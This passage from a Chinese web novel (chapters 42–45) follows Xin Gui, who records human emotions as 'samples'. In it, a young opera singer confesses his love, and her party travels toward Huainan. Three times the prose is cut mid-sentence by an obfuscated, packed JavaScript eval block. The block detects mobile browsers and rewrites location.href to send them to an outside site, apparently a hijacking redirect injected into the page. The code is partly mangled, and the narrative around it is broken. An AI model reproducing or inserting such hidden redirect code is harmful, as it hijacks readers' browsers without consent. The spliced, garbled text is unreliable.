拉胡琴的看他,带着劝:“阿月,不是我说,这成记行的小姐和咱们戏班子的,算是天上地下,你就算有心,怕是人家也看不上你。你这天天上赶着去送这送那,花了不少心思,人家可是连句好听的话都没说给过你吧。” 陈砚月手垂在身旁,握紧,白净的手背上隐隐泛着青筋:“我……我……” “你涉世未深,你是不知道人心。”拉胡琴的又说:“再说,咱们没几日就要离开临余,你现在可别上去,自讨苦吃。” 陈砚月看着乐班,深吸一口气:“我还是去看看。”说罢,他快步走出后台。 几名乐师互相看了一眼,有人说道:“这些唱曲儿的,从小唱的就是那么些才子佳人、爱恨情仇,脑子里装得也都是这些,非得撞次南墙,才能明白过来。” “什么人,什么词儿,什么命,得认。”他们又就着这个话题往下聊去。 “咱们也是劳碌命,挣吃口饭的钱。要是有个地方,什么都安排好了,不用这么着急忙慌的,不用自己去撞南墙的,多好。” 42. 第 42 章 陈砚月急急忙忙往二楼走,一路仔细听着,见二楼没有打闹的声响,心里先安定几分。 推门前,他深吸一口气,稍稍稳定后才轻敲了几声,听见辛圭的声音,这才进去。 雅座里没有让他担忧的情况,没有外人。他先看见辛圭,眼睛便亮了。 "小姐。"陈砚月行礼,声音里带着一丝紧张:"今日唱得如何?" "好听。"辛圭认真地点头:"杜丽娘在梦里遇见柳梦梅那段,我觉得她是很开心的。" 陈砚月愣了一下,随即笑起来,有缓了一口气的松快,有看见辛圭的高兴,眉眼舒展开,像风吹过便绽放的细致桃花:"小姐看得真仔细。" 他说着,从袖子里掏出一个小纸包:"这是今日新做的桂花糕,比上回的甜。" 方启星翻了个白眼,小声嘀咕:"又来了。" 辛圭接过纸包,打开来,里面整整齐齐码着六块桂花糕,上面还撒了一层细细的桂花碎,和之前的长相不太一样。"是你自己做的?"她猜测道。 "是。"陈砚月低下头,耳朵有些红,"我手艺可能不太好,但……我想让小姐尝尝。" 辛圭拿起一块,咬了一口。 甜。 确实比上回的更甜,但不腻,像是秋天的风吹过桂花树,馨香当中带着一丝丝清凉。 "好吃。"她说。 陈砚月和她的目光对视,连忙低下头,脸更红了。“小姐喜欢就好。” 辛圭抿着嘴:“我叫李成圭,你次次都叫我小姐,不知道的,以为你是我们成记行的人。” 陈砚月猛地抬头,眉头微微翘起:“我可以叫小姐的名字?” “当然。”辛圭摇了摇手上的年糕:“我也可以叫你的名字啊。” “成圭……”陈砚月叫了一声,眼睛紧紧闭起来,像是害怕着什么。 “咳——”方启星在旁清了清嗓子,柳掌柜瞥了他一眼,觉得他打断了这氛围感。 陈砚月这才回过神,小声问:"刚才我在卸妆,听他们说有人来为难?" "应该是:淮南码头地头蛇的手下。"辛圭解释道。 陈砚月脸色一白:"那你们去淮南,会不会有危险?" 辛圭看着他,忽然觉得这个少年有些可爱,明明和自己只见过几面,却已经在担心她的安危了。 "会有。"她老实回答,"但有些事,不能因为有危险就不做。" 陈砚月咬了咬唇,像是下定了什么决心:"我们班子过几日也要往南走,会路过淮南。要是小姐需要帮忙,可以来找我们。" “找你们——”方启星刚要说什么,却被柳掌柜打断了。 柳掌柜说:“那敢成好。不管帮不帮的上,就凭你这句话,我怎么的也得请你们班主吃顿饭。” 几人又说了些话,陈砚月被班子里的人叫走。夜色已深,茶楼只留了几盏未熄的灯,灯罩被风一吹,光影在墙上微微晃。 辛圭本想去后院同陈砚月告辞,却看见院角有人在收拾戏箱。 陈砚月蹲在地上,将折好的戏服一件件放进木箱,动作很慢,也很轻。 他没看见她。 就在辛圭以为自己会这样悄无声息地离开时,他忽然低声哼了一句。 不是唱,也没有腔调,只是极轻极短的一句,像是从喉咙里自然滑出来的声音:“良辰美景奈何天……” 唱到这儿,他停住了。 像是忽然意识到自己在做什么,陈砚月抬手轻抚自己的嗓子,自嘲似的笑了一下,没有继续。 辛圭站在原地,没有动。她不知道为什么这句比方才台上的整折戏更让她在意。 “怎么不唱完?”她开口,声音比自己预想的要轻。 陈砚月愣了一下,这才意识到她在。 他站起身,拍了拍衣摆,目光落在她身上,却很快又移开:“这是后半句了,前头得有梦。” “梦?”辛圭重复。 “嗯。”他说:“没有梦,就唱不出来。” 他语气平常,像是在说一件再自然不过的事,并不是想借机看她的反应。 说完这句,他便合上了戏箱的盖子。木扣“咔哒”一声,清脆得很,像是为自己刚才的那一句画了个句号。 陈砚月起身,冲她笑笑:“夜深了,成……成圭你早些回去歇息吧。” “嗯。”辛圭与他道别,大脑却本能地开始运转,试图判断刚才那一幕的意义。 无演出安排。无观众需求。无明显目的。 按理说,这是一个可以被忽略的片段。 可她发现,自己并不想忽略。她在心里翻找了一会儿,试图给这种感觉找一个合适的归类。 不是责任。不是回馈。也不是被期待。更不像是被安排好的节点。 她停顿了片刻,脑海中浮现出一句话:【……但我想再听一次。】 她迟疑了一下,没有补全,也没有将它当做无用的东西删掉。 辛圭走回三人之中,温麟趾和方启星还在讨论方才短褂男人的事儿。 温麟趾看了方启星一眼:"你刚才那番话,怕是要传回淮南去了。" 方启星撇撇嘴,十分不将对方放在眼里的模样:"传就传。我又没说错。" "你不怕钱三爷记恨?" "他?"方启星嗤笑一声,"他记恨我?那得看他有没有那个胆子。" 这话说得狂妄,可偏偏从他嘴里说出来,竟有几分理所当然的意味。 柳掌柜走在前面,时不时回头看一眼辛圭他们,眼里满是笑意:"方启星今日这番话,倒是给足了小姐底气。只是这话传回淮南,钱三爷怕是要掂量掂量了。" 辛圭点头:"我觉得这个人,倒像是这位钱三爷故意在年关前派来的,就是想打探一下临余的情况。" “确实,往常给他脸了,让他觉得自己有几斤几两。”柳掌柜瞥了方启星一眼。 方启星被她看得有些不自在,别过脸去:"看我干什么?" "没什么。"柳掌柜慢悠悠道:"就是觉得你这小子,藏得挺深。" 方启星脚步顿了顿,没接话,只是在想:今日这话说出去,淮南那边该知道的、不该知道的,怕是也都知道了。再加上还有个陆居平,指不定要说些什么。自己爹免不了要拎着自己兴师问罪。 辛圭不知道他们在想什么,她抬头看了看天上的月亮,想起陈砚月唱的那句"月上柳梢头,人约黄昏后"。 她轻声问:"柳掌柜,''约''是什么意思?" 柳掌柜愣了一下,笑着说:"就是约定,说好了在某个时间某个地点见面。" "为什么要约?" "因为想见。" 辛圭想了想,又问:"那如果不约,就见不到吗?" 柳掌柜被她问得哭笑不得:"你这孩子,问的什么问题。不约当然也能见到,只是……不约的见面,叫缘分。" 缘分。 辛圭把这个词记下来: 【新世界情感词条补充: 缘分——不在计划之内的相遇。 注:新世界似乎很喜欢这种"不在计划内"的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968201|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。】 回到分号,辛圭把今日的事整理成案,又把后日去淮南的路线规划了一遍。 温麟趾敲门进来,递给她一份路线图:"淮南有三条路可走——水路最快,但钱三爷在码头上人多;官道最稳,但绕得远;还有一条小路,穿山而过,省时省事,只是不太好走。" 辛圭接过来看了看:"你怎么知道这条小路?" 温麟趾沉默片刻,说:"以前走过。" 他没有说的是,在那些漫长的循环里,他走过无数遍去淮南的路。每一条路的每一个岔口,他都记得清清楚楚。 辛圭点点头,把三条路都标在自己的本子上:"明日和柳掌柜商量一下,看哪条更合适。" 温麟趾应了一声,正要离开,又停下脚步:"今日在茶楼,你做得很好。" 辛圭抬头看他。温麟趾鲜少夸人,若是他这么说,那就意味着自己当真做得很好。 "钱三爷是个狠角色,但你没怕他。"温麟趾说:"这很重要。" "为什么重要?" "因为有些人一旦知道你怕他,就会一直让你怕下去。"温麟趾的目光落在窗外的月光上:"而你今日让他知道,你不怕。" 辛圭想了想,说:"我不是不怕,我只是觉得,怕也没用。" 温麟趾嘴角微微动了动,笑道:"这就够了。" 他转身离开,脚步很轻,像是怕惊扰了这满院的月色。 辛圭看着他的背影,忽然想起柳掌柜说过的那句话——"男人嘛,能用就用,可千万别把他们当成宝贝似的供着。" 可温麟趾......好像不太一样。 他不像是一把刀,更像是一盏灯,虽然不亮,但一直在那儿。而且,他笑起来比不笑,要好看的多。 她把这个想法记下来,继续看路线图。 不多时,方启星敲门进来,手里端着一碗热汤:"柳掌柜让我送来的,说你今晚没怎么吃东西。" 辛圭接过来,喝了一口,是桂花甜汤。"好喝。"她抿着嘴回味。 方启星站在一旁,欲言又止。 辛圭抬头看他:"你想说什么?" "那个陈砚月……"方启星挠挠头,"你是不是觉得他挺好的?" 辛圭想了想:"他唱戏好听,做的糕点也好吃。" 方启星脸色一变:"就这样?" "不然呢?" 方启星张了张嘴,又闭上,憋了半天才说:"没什么。" 他转身要走,辛圭忽然叫住他:"方启星。" "嗯?" "你帮我看账的时候,我也觉得你挺好的。" 方启星的脚步顿住,耳朵肉眼可见地红了起来。 "那是应该的!"他几乎是落荒而逃:"我先走了!" 辛圭看着他的背影,歪了歪头。 【长随测试记录·补充: 样本004被夸奖时,会产生类似于"羞赧"的反应。 结论:有趣。】 她在想到“有趣”二字的时候,心里猛地一顿,何时她也会有这样的想法了? 她看着窗外的月光,又想到那个在戏台上唱着杜丽娘的少年,这里的人为什么会因为一个梦就爱上一个人呢? 或许,等她走过更多的路,见过更多的人,就会明白了吧。 她闭上眼睛,在心里给自己记了一笔: 【实验手册·新世界感官记录020: 今日所学——有些路,不能因为难走就不走。有些人,不能因为不懂就不见。】 43. 第 43 章 翌日清晨,天还没亮透,辛圭就被一阵轻轻的敲门声吵醒了,有伙计门外有位名叫陈砚月的人来拜访。 辛圭披衣起身,略微梳洗去了外院。一推门,就看见陈砚月站在廊下,手中提着一个食盒。 他在台下总是穿得素净,油墨重彩都被留在了戏里。但人又清透,好像戏里的那些唱词被一并背在了身上,融进了骨血。 "你怎么来了?"辛圭有些意外,侧身让了下:“外面冷,进来。” 陈砚月跟着她往里走了几步,低着头,耳朵尖红红的:"我听说你们今日要走,我想……" 他顿住了,像是不知道该怎么继续说下去。 辛圭耐心等着,过了片刻,陈砚月深吸一口气,把食盒递过来:"我想给你送早点。桂花藕粉,还热着。" 辛圭接过食盒打开一看,里面装着一碗晶莹的藕粉,上面有细碎的桂花,香气扑鼻。被妥善的护在食盒里,还冒着腾腾热气。 “你一路端过来的?”辛圭讶异。 陈砚月点了点头。 “胳膊酸不酸?”辛圭有些自责:“早知道我就动作再快一点,你就能少等片刻。” “不酸。”陈砚月微微笑着:“练功习惯了。” 辛圭看着他,忽然发现他眼下有淡淡的青色,显然是一夜没怎么睡。 "你应该好好休息的。"她说。 "没关系。"陈砚月摇摇头,声音轻得像怕惊扰什么:"能见到你就很好。" 辛圭端起碗,舀了一勺藕粉送进嘴里。和他做的桂花糕一样甜,但多了一点滑腻的口感,像是丝绸拂过舌尖。 "真好吃。"她说。 陈砚月的眼睛亮了起来,带着藏不住的欢喜:"真的吗?我第一次冲藕粉,怕做得不好。" "真的。"辛圭认真地点头:"你很会做吃的。" 陈砚月的脸更红了,红得像他唱戏时身上的那朵绢花。他站在那里,手背在身后,手指绞着衣角,像是有很多话想说,却不知道从何说起。 辛圭把藕粉吃完,把碗放回食盒里。 "谢谢你。"她说:"桂花糕、桂花藕粉,还有你唱的戏,我都记下来了。" 陈砚月抬起头,眼睛里有一点雾气:"你会记得我吗?" "会。"辛圭笑着指了指脑袋:"我记性很好。" "成圭,"陈砚月咬了咬唇,血色涌上来,他叫她的名字,声音有些轻轻地发抖:"我……我有件事想告诉你。" 他的手攥紧了,指节泛白,低着头,盯着地面,像是要把青石板看出一个洞来。 "我……"他停顿了很久,但似乎又没有那么久。 陈砚月猛地抬起头,眼睛直视着她,像是用尽了全身的勇气:"我喜欢你。" 四个字,轻得像一片落叶,重得像一座山。 辛圭愣住了。并非因为震惊,而是因为她不知道该怎么回应。 "喜欢"是什么? 她知道这个词的定义:【情绪词条003:喜欢。定义:指对某人或某物产生好感,想要接近、想要拥有。】 她从来没有过这样的感受,即便光忆星将它定位在情绪词条的第二个,即便光忆星的人经常使用这个词,但她似乎不能说自己理解这个词,也不直到应该如何回应别人的这种感觉。 陈砚月看着她的表情,脸上的红晕慢慢褪去,取而代之的是一种苦涩的笑,便显得清瘦的人有种马上就要碎掉的感觉。 "你不用说什么。"他轻声说:"我知道,我只是一个唱戏的,你是成记行的大小姐。我们……不是一路人。" "不是因为这个。"辛圭打断他。 陈砚月一愣。 辛圭认真地看着他,慢慢说道:"我不知道''喜欢''是什么感觉。我知道的只有,你唱戏的时候,我想一直听下去。你做的桂花糕,我觉得很甜。你现在站在这里,我觉得……" 她停顿了一下,试图找一个准确的词:"我觉得不讨厌,我也很喜欢,但应该只有一半。" 她觉得自己符合词条定义的前半句,对某人或某物产生好感,会想要接近,但并不想拥有,所以只能说是一半。 陈砚月愣了好一会儿,然后忽然笑了。笑容里有几分释然,几分苦涩,还有几分少年人特有的倔强。 "不讨厌就好。"他说:"不讨厌就够了。" 他知道,辛圭的“我也很喜欢”和他的喜欢并不相同。 他往后退了一步,对辛圭郑重地行了一礼。"成圭,我们戏班过几日也要往南走,会路过淮南。如果你遇到什么难处,可以来找我。" 他顿了顿,又补充道:"不是因为我想报答你什么,是因为我想帮你。就像你让我明白的那样——"他抬起头,目光清亮,像是山涧的溪水:"喜欢一个人,不一定要她也喜欢我。能让她记得我、能在她需要的时候帮上忙,就已经很好了。" 辛圭看着他,心里有一种奇怪的感觉。不是心动,不是欢喜,而是一种……被珍视的温暖。 她把这种感觉记下来: 【样本032情绪观察记录·补充: 行为:清晨送食物,表达"喜欢"。 对方期待:希望我也"喜欢"他。 我的反应:不知道该怎么回应。 记录:他喜欢我,不是因为我有什么用处,只是因为他想喜欢。 备注:这很奇怪。但不讨厌。】 "我记住了。"辛圭说。 陈砚月笑了笑,那笑容有些腼腆,又有些释然。 "那我走了。"他说:"一路平安,成圭。" 他转身往院门走去,走了几步,又忽然回头。 "对了,"他说,声音比刚才轻快了一些:"你要是想听戏,可以来找我。我给你唱一出新的,不唱杜丽娘了,唱……唱个更好听的。" 辛圭点点头:"好。" 陈砚月的眼睛又亮了一下,然后快步走出院门,脚步比之前稳定了很多。 辛圭站在门口,看着他的背影消失在晨雾里。 她忽然想起昨晚在后院,他哼唱"良辰美景奈何天"的样子,那时候她想再听一次,而她现在知道了,她确实还有机会再听一次。 在淮南,或者在更远的地方。 而这个想法让她觉得还不错。 【情绪场记录·样本032 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975247|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形态:一条白色的光带。像月光,也像白绸。会轻轻抖动,但永远都让人觉得很舒服。】 ## 陈砚月走后不久,院子里就热闹起来了。 辛圭站在分号门口,看着伙计们把行李往马车上搬。柳掌柜亲自在旁边盯着,时不时指点两句,末了走到辛圭身边,从袖子里掏出一个鼓鼓囊囊的荷包。 "拿着。"她把荷包塞进辛圭手里。 辛圭打开一看,里面是一叠银票,还有几块碎银子:"这是……" "出门在外,手里有钱,心里不慌。"柳掌柜压低声音:"这是我自己的,不走公账,你别跟他们说。" 辛圭看着她,有些不解:"为什么?" 柳掌柜笑了笑,那笑容里带着几分过来人的沧桑:"我年轻的时候,也是一个人在外面跑。那时候身上没银子,什么苦都吃过。后来遇到贵人,才有了今天。" 她顿了顿,目光变得柔和:"小姐是个好孩子,我看得出来。我也没什么能给你的,这银子不是公事,是我的一点心意。你拿着,万一遇到难处,能救急。" 辛圭握着荷包,感觉手心里沉甸甸的,不只是银子的重量。这种感觉,她以前在张妈那里也有过。 张妈给她梳头的时候,会轻轻拍拍她的肩膀说:"小姐别怕,有张妈在呢。"那时候她不懂"怕"是什么,也不懂"有人在"意味着什么。 现在她好像明白一点了。 "谢谢柳姐姐。"她把荷包收好,认真道。 柳掌柜摆摆手:"谢什么,都是分内的事儿。倒是你去了淮南,可得当心。"她压低声音,目光往方启星那边瞟了一眼:"你那位长随,藏得挺深。到了淮南,他有些事儿怕是难瞒小姐。小姐也要提前有个心理准备,别情感上被他牵着鼻子走。" 辛圭顺着她的目光看去。 方启星正站在马车旁边,手里拎着一个包袱,神情比往日多了几分凝重。他似乎察觉到辛圭的目光,转过头来冲她咧嘴一笑,又变回那个大大咧咧的少年。 但辛圭注意到,他笑的时候,眼底有一闪而过的阴翳。 【样本005情绪观察·异常:表面行为与深层状态不符。待观察。】 "我会注意的。"她收回视线。 柳掌柜叹了口气:"人心这东西,比账本难算。你在临余学的是生意,去淮南,怕是要学别的了。" "学什么?" "学怎么在一团乱麻里,找到那根对的线。"柳掌柜拍拍她的手:"去吧,路上小心。年前记得回京城,老爷张妈春茶福伯他们都等着你呢。" 辛圭点头,转身往马车走去。走了几步,她忽然停下来,回头问:"柳姐姐,你刚才说的贵人,是谁?" 柳掌柜愣了一下,然后笑了,那笑容里有怀念,也有释然:"是个好人。已经不在了。" 她摆摆手:"快走吧,别误了时辰。" 辛圭看着她,在心里默默记下: 【新世界情感词条·补充: 善意——不求回报的给予。 注:这种给予往往来自于经历过苦难的人。他们知道苦的滋味,所以不想让别人再尝。】 44. 第 44 章 马车驶出临余城门时,辛圭掀开车帘回望。 城门楼上的旗帜伴着晨风微微昂扬,早市的人影耸动,沿着街巷,有些有目的地,有些只是出来闲逛。大的小的粗重的细碎的声音层层叠叠,但很奇怪,声音们明明汇聚在空气中,落在耳中,却能分辨得清楚。 声音像水,人就是鱼,会不停地在一片空白的地方留下痕迹。最后,很难说清楚是城市成就了人,还是人造就了城市。 辛圭忽然想起刚来到这个世界时,她从水中狼狈站起的情景,那时候她被吓坏了。 而现在,她已经能分辨桂花糕的甜度,能看懂账本里的门道,能在谈判桌上不落下风。但与此同时,她也开始冒出奇怪的想法了。 比如陈砚月哼唱“良辰美景奈何天”的时候,她拥有了想再听一次的念头。 这个念头没有任何用处,不能帮她做生意,不能帮她了解世界,不能帮她完成任何任务。哪怕从最优化角度来说,人体大脑中能存储的信息是有限额的,为了更好的观察和储存信息,她应该刻意忘记冗余的日常。 但她没有删掉,虽然她也不知道为什么要留着。 “成圭,饿不饿?”方启星的声音打断了她的思绪。 她掀开车帘,看见他骑着马凑过来,脸上带着几分邀功的神色,递了递手里的油纸包。 “柳掌柜给的桂花糕,我用小铜炉热了一下。” 辛圭接过来,打开一看,桂花糕还冒着热气,香味扑鼻。“你什么时候热的?” “刚才趁你发呆的时候。”方启星扬了下下巴:“怎么样,小爷我贴心吧?” “你怎么知道我在发呆?” 方启星连连点头:“嗯嗯嗯,没有发呆,是在思考问题。” 辛圭侧脸,嗔怪似的瞥了他一眼,接着咬了一口桂花糕,软糯香甜。“很好吃。” 方启星得意,嘴上却说:“那是当然,小爷我亲手热的,能不好吃吗?怎么,是不是比那个唱戏的做的好吃?” “他叫陈砚月。”辛圭严肃指出。 温麟趾在旁淡淡道:“热个糕点也值得炫耀?” “你行你来啊!”方启星冷哼一声。 温麟趾没理他,只是转过头去,不愿再和他再吵。 “你就是不会!” 辛圭看着他们斗嘴,在心里默默记录: 【情绪观察日志·补充: 现象:样本004和样本005最近经常产生言语冲突。 发现:冲突频率在某些情境下会明显升高,尤其是与我有关的情境。 案例:谁来给我送东西,谁来护送我,谁和我说话的时间更长。 推测:这是某种竞争行为?疑似与长随的任务相关。待观察。】 马车走了大半日,道路渐渐崎岖。 官道已经被甩在身后,眼前是一条蜿蜒的山路,两旁树林密密匝匝,阳光透过枝叶洒下斑驳的光影。马车一过,鸟声腾起。 “这就是青云岭?”辛圭问。 温麟趾点头:“翻过这座山,就是淮南。” 方启星放弃了和杜掌柜同乘一车,补充道:“青云岭不算太高,就是路不好走。以前有山匪,后来清剿了,但走的人还是不多,大部分人还是习惯走水路,又近又快。” 他说着,忽然皱起眉,探头往地上看。 “怎么了?”辛圭问道。 方启星:“有车辙。新的,就在前面不远。” 温麟趾也扫了一眼:“不止一辆。” 方启星沉思片刻,脸色有些古怪:“这条路平时没人走。要么是巧合,要么……” 他没有说下去,只是下了马车,又翻身上马:“我去前面看看。温子修,你护着成圭。” “你一个人去?”辛圭有些不放心。 “放心,这山里的路我熟。”方启星已经策马往前,语气里既有自傲,但也有一丝紧张:“有事我会发信号。” 他的身影很快消失在林间。 辛圭看着他离去的方向,心里忽然有些不安。不是因为危险,而是因为方启星的情绪场中星星的变化,是一种她也没见过的形态。 “别担心。”温麟趾的声音传来,大部分时间他的声音都很平和,听上去便有些抚慰感:“他在淮南长大,这点山路难不倒他。” “我不知道。”辛圭想了想,诚实地说:“就是有一种,不太舒服的感觉。但也是一种想和他一起过去的感觉。” 温麟趾看着她,目光微动。他轻声说:“那种感觉,叫担心。担心一个人的安危,担心事情会不会顺利,担心……”他顿了顿,没有说下去。 辛圭看向他,认真问道:“你也会担心吗?“ 温麟趾没有回答,只是扯了扯嘴角,就当做是回答了。 他当然会担心。在那些漫长的循环里,他担心过无数次。在她被带到矿场上的时候,担心她会受到伤害。如今又多了新的担心,担心在今后的日子里,她会像之前的循环一样,死在战乱里,死在极寒的北方,身边没有一个人。 但他不能告诉她。 “你也有担心呢。”辛圭忽然说。 温麟趾一愣。 “你刚才突然很沉重。”辛圭找了一个词来形容她的感觉:“像是背着很重的东西。“ 温麟趾沉默片刻,给她掖了掖膝盖上的毯子:“每个人都有背负的东西,你以后会明白的。” 但我,希望你永远也不明白。 辛圭把这句话记下来: 【新世界感官记录012:担心=一种不舒服的感觉,发生在在意的人可能遇到危险的时候。 自我检测:我好像在担心样本005。】 【样本004·补充: 表现:004情绪场里很少见的山脉出现了,很沉重。 推测:是担心。】 大约过了小半个时辰,方启星回来了,还不是一个人回来的。他的身后跟着七八个人,穿着短褐,腰间别着刀,神情可谓是一模一样的严肃。 方启星脸上带着一种很复杂的神色,像是松了口气,又像是在苦恼着什么。看见辛圭探出头来,他连忙换上一副轻松的笑容,但嘴角明显有些僵硬。 “没事没事,虚惊一场。”他翻身下马,语气刻意放松:“就是一帮找人的,但走错了路。” 辛圭看了看他,又看了看那队人。“是迷路了吗?” “对对对。”方启星点头如捣蒜:“他们迷路了,咱们正好顺路,人多安全嘛,我就答应了。“ 温麟趾看了他一眼,没有说话。 按照平常,路遇陌生人同路当然是要提防的,但方启星的态度显然和这些人是相识。而且那些人站得笔直,目光时不时往方启星身上瞟,态度过于恭敬。其中一个年纪稍长的,站在最前面,但不知道是天生有些佝偻,还是习惯躬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979004|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,总给人一种随时等待吩咐的感觉。 只怕是方启星在淮南的家人找来了。 辛圭也没有追问,只是在心里默默记下: 【样本005情绪观察·重大异常: 行为:带回一队陌生人,声称“认错人了“。 疑点1:那些人的态度过于恭敬,不像是对待陌生人。 疑点2:他说话时语速加快,眼神闪躲,符合说谎的典型特征。 疑点3:他说淮南两个字的时候,声音明显顿了一下。 结论:他在隐瞒一些和淮南相关的事情。 备注:不追问。观察。】 “那就一起走吧。”辛圭说。 方启星明显松了口气:“好好好,那我们继续赶路。” “我和你们说,是我们小姐心肠好,带你们往淮南去,你们都老实点。”他说话声音很大,接着上马走在车队的最前面,像是不想让辛圭看见他的表情。 但辛圭还是看见了。方启星的后背崩得很紧,肩胛骨微微耸起,像是在扛着什么。 和温麟趾一样。 这个世界的人,好像都在背着什么东西。 傍晚时分,一行人在山脚下的一个小镇落脚。 镇子不大,只有一条主街,两旁稀稀落落地开着几家铺子,方便来往的人落脚。方启星找了一家看起来还算干净的客栈,安排众人住下。 辛圭注意到,他安排那队人的时候,用的是吩咐语气,而那些人也很自然地服从,没有任何异议。 晚饭的菜色简单,但胜在新鲜,因为有了霜,青菜的味道更显鲜甜。 “听说了吗?最近有海商在大量收铁。”邻桌有人说道。 “收铁?收那玩意儿干啥?农具啥的也用不了那么多。” “谁知道呢。反正出价高得很,好多矿上的人都动心了。” “官府不管?“ “管啥?前些年铁矿不都放出去几座了吗?当时还好多人叫好,说不像之前的朝廷,盐铁专营。” 说话的是两个中年男人,穿着普通,像是跑货的商人。他们压低了声音,但在安静的大堂里,还是能听得清清楚楚。 辛圭的筷子顿了一下,她想起在矿场的时候,那些被挖出来的铁矿石,堆积如山。人命换来的矿,最终去了哪里呢? “成圭?“方启星的声音打断了她的思绪:“怎么不吃了?菜不合口味?“ “没有。“辛圭摇摇头,继续吃饭。 饭后,辛圭回房休息,她看着窗外的月光,试图理清思路。 【情绪观察日志021: 今日总结:秘密是这个世界的常态。每个人都有不愿说出口的事。 样本004有。样本005有。或许,我也会有。 结论:秘密不一定是坏的。它只是还没准备好被说出来。】 远处传来更夫的梆子声,一下,两下,三下。 辛圭翻了个身,忽然想起方启星今天看她的眼神,那种欲言又止、心虚又倔强的眼神。 她想起他说“认错人了”时的慌张,想起那队人看他时的恭敬,想起他说“淮南”两个字时的停顿。 或许到了淮南,她就会知道答案了。她闭上眼睛,慢慢睡去。她好像又听见了陈砚月的声音——“良辰美景奈何天……“ 她又做梦了,但不再混沌。梦里的河水平静,轻轻地冲洗着堤岸。 45. 第 45 章 实验手册· 清晨,客栈后院。 辛圭起得早,自行打水洗漱完,趁着时间还早便出门随意走走。此时的小镇还没完全苏醒,街道潮湿,空气中有淡淡的草木馨香。 没有临余城早晨的那般热闹,人也不多,但胜在风景秀美,夹在两座矮矮的小山之中,虽是冬季,但仍绿树如茵,别有一番滋味。 在此处,吃饱穿暖就是头等大事,可因为四季风调雨顺,似乎暖饱也有游刃有余,便更显得轻松惬意。 只是有些游余,是因为还没有苦难来敲门。 辛圭拐过小巷时,脚步停住。 屋檐下阴影里蹲了个妇人,怀里抱着个孩子。孩子烧得厉害,脸通红,呼吸又急又浅,额头贴在妇人肩上,一动不动。 妇人低声哄着:“乖,再忍忍,娘去想办法。” 医馆里不时有人进出,可她却始终没进去。 辛圭观察了一会儿,走过去轻声问道:“孩子病了?” 妇人吓了一跳,抱紧孩子站起来,下意识往后退了一步:“没、没事,我们这就走。” “烧多久了?”辛圭冲她笑笑,表达出自己的善意。 “两天。”妇人低下头,声音轻得几乎听不见。 辛圭伸手探了探孩子的额头,烫得吓人。“跟我来。”她进了医馆,又回头看妇人一眼:“孩子等不了。” 妇人抿紧嘴唇,有些不可置信,又有些想哭,脸皱起,像是找不到一个合适的表情安放,快步跟上。 大夫诊得很快,说是风寒入体,拖久了,得吃三日药。诊金加药钱,一两二钱。 辛圭很干脆地就把银钱交了,又看着大夫拿药熬药。妇人站在一旁,手指死死攥着衣角,眼眶通红:“姑娘,我……还不起。” “不用还。先把孩子治好。” 一两二钱银子,对她来说不算什么,但对这个妇人来说,确是救命钱。 她记得张妈说过,京城里一个普通人家,一个月的花销也就一两多点,可这妇人却连这些银子都拿不出来。 这个世界的人,活得真的很不容易。 但辛圭觉得,总是有原因让他们活得如此辛劳的。 大夫煮药的时候,辛圭就在边上和妇人闲聊:“你一个人带孩子?” 妇人沉默了一会儿,点了点头。 “孩子的父亲呢?” 妇人眼眶又红了,声音很轻:“死了。去年,在矿上。” 辛圭心里一动:“矿上?” 妇人抱紧了孩子,像是在回忆什么很久远的事情:“他有个大哥,家里的地不够养活两家人,他就想着出门去谋生路,这才去了铁矿矿场上工。那矿本来是官府的,后来说是放给私人了,来了新东家。” 她顿了顿,声音越来越低:“新东家催得很紧,说是要赶工期。原本他每个月还能回来看看我们娘俩,后来越来越忙,日夜不停地挖,出事儿的人也越来越多。他……他就是被塌下来的石头给砸死的。” 辛圭没有说话,她想起了炉口镇。黑暗的矿洞,沉重的矿石,混账的监工,还有赵三,还有那一点点的火星。 “矿上赔了一点银子,我就带着孩子走了。”妇人继续说道:“不敢留在那儿附近,怕想起来难受。” “那他家里的人,还有你家里的人呢?”辛圭小心问道。 妇人苦涩笑笑:“女人,嫁出去就成了泼出去的水。我带着孩子去了他老家,他们不愿意家里添人口,糊弄了两句就赶我走了。” “可是他……”辛圭咽下了在嘴边的话,她本想说,他不是因为家里的地不够分,这才出去干活的吗?那占了他那部分的大哥,无用如何也不能坐视不理。但她知道,说出这些话只是徒增烦恼和不忿,并不能解决问题。“那你现在怎么生活呢?”她问。 “矿上有人和我说,淮南那边有海商,矿石会卖给他们,他们出价高,所以东家才急着赶工。但他们也缺能干活的女仆,所以我这才想着过去看看。这一路就靠着给人做活挣点路费。” 辛圭的心里沉了一下。铁矿、海商、赶工,这和昨晚听到的消息对上了。 